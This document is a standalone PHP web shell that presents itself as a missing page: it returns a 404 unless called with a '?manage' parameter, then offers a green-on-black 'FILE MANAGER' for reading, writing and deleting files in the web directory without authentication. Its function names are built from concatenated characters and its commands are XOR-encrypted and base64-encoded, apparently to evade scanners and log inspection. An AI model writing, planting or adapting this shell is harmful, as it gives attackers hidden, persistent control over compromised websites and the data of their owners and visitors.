postpass2
<?php
if(session_status()===PHP_SESSION_NONE){@session_start();}
if(!isset($_SESSION['rk'])){$_SESSION['rk']=substr(md5(uniqid(mt_rand(),true)),0,16);}$rk=$_SESSION['rk'];
$o="f"."o"."p"."e"."n";$w="f"."w"."r"."i"."t"."e";$c="f"."c"."l"."o"."s"."e";$sc="s"."c"."a"."n"."d"."i"."r";$un="u"."n"."l"."i"."n"."k";$re="f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_POST['p'])){$p=str_replace(array('-','_','.'),array('+','/','='),$_POST['p']);$raw=base64_decode($p);if($raw!==false){$dec='';$k_len=strlen($rk);for($i=0;$i<strlen($raw);$i++){$dec.=$raw[$i]^$rk[$i%$k_len];}$pos=strpos($dec,'|');if($pos!==false){$act=substr($dec,0,$pos);$data=substr($dec,$pos+1);if($act==="SAVE"){$sp=strpos($data,'|');if($sp!==false&&function_exists($o)&&function_exists($w)){$filename=basename(substr($data,0,$sp));$h=@$o("./".$filename,"w");if($h){$w($h,substr($data,$sp+1));$c($h);$_SESSION['msg']="<b style='color:#00ff00;'>[SUCCESS] File '$filename' saved!</b>";echo "OK";exit;}}}if($act==="DEL"&&function_exists($un)){$filename=basename($data);if(@$un("./".$filename)){$_SESSION['msg']="<b style='color:#00ff00;'>[SUCCESS] File '$filename' deleted!</b>";echo "OK";exit;}}}}echo "FAIL";exit;}
if(isset($_GET['manage'])){$v_name=$_GET['v']??'';$v_cont='';if(!empty($v_name)&&is_file("./".basename($v_name))&&function_exists($re)){$v_cont=$re("./".basename($v_name));}$status_msg=$_SESSION['msg']??"";unset($_SESSION['msg']);?>
<body style="background:#111;color:#0f0;font-family:monospace;padding:20px;line-height:1.5;"><h2>:: FILE MANAGER ::</h2><?php if(!empty($status_msg)):?><div style="background:#222;border:1px solid #444;padding:10px;margin-bottom:15px;">STATUS: <?php echo $status_msg;?></div><?php endif;?><form onsubmit="fireAction('SAVE');return false;">File Name: <input type="text" id="n" value="<?php echo htmlspecialchars($v_name?$v_name:'log.txt'); ?>" style="background:#222;color:#fff;border:1px solid #444;padding:6px;width:280px;" required><br><br>File Content:<br><textarea id="c" rows="10" style="width:100%;background:#222;color:#0f0;border:1px solid #444;padding:10px;font-family:monospace;" placeholder="Type here..."><?php echo htmlspecialchars($v_cont);?></textarea><br><br><button type="submit" style="background:#006600;color:#fff;border:none;padding:10px 25px;cursor:pointer;font-weight:bold;font-size:14px;border-radius:3px;">Save / Upload File</button></form><h3 style="color:#fff;border-bottom:1px dashed #333;padding-bottom:8px;margin-top:30px;">[+] Path Explorer (./)</h3><ul style="padding-left:15px;"><?php if(function_exists($sc)){foreach($sc("./") as $f){if($f==='.'||$f==='..')continue;$is_f=is_file("./$f");echo "<li style='margin-bottom:10px;'><b>".htmlspecialchars($f)."</b> <span style='color:#666;'>(".($is_f?filesize("./$f")." Bytes":"DIR").")</span> &rarr; ";if($is_f){echo "<a href='?manage&v=".urlencode($f)."' style='color:#f0f;text-decoration:none;font-weight:bold;'>[Edit]</a> | ";echo "<a style='color:#f33;text-decoration:none;font-weight:bold;cursor:pointer;' onclick=\"if(confirm('Wipe?'))fireAction('DEL','".htmlspecialchars($f)."')\">[Delete]</a>";}else{echo "<span style='color:#666;'>DIR</span>";}echo "</li>";}}?></ul><script>const rk="<?php echo $rk;?>";function fireAction(t,f=''){let p="";if(t==='SAVE'){p="SAVE|"+document.getElementById('n').value+"|"+document.getElementById('c').value;}else if(t==='DEL'){p="DEL|"+f;}let x="";for(let i=0;i<p.length;i++){x+=String.fromCharCode(p.charCodeAt(i)^rk.charCodeAt(i%rk.length));}let b=btoa(unescape(encodeURIComponent(x))).replace(/\+/g,'-').replace(/\//g,'_').replace(/=/g,'.');let xhr=new XMLHttpRequest();xhr.open("POST","?manage",true);xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xhr.onreadystatechange=function(){if(xhr.readyState===4&&xhr.status===200&&xhr.responseText.trim()==="OK"){window.location.href="?manage";}};xhr.send("p="+encodeURIComponent(b));}</script></body><?php exit;}header("HTTP/1.1 404 Not Found");exit;
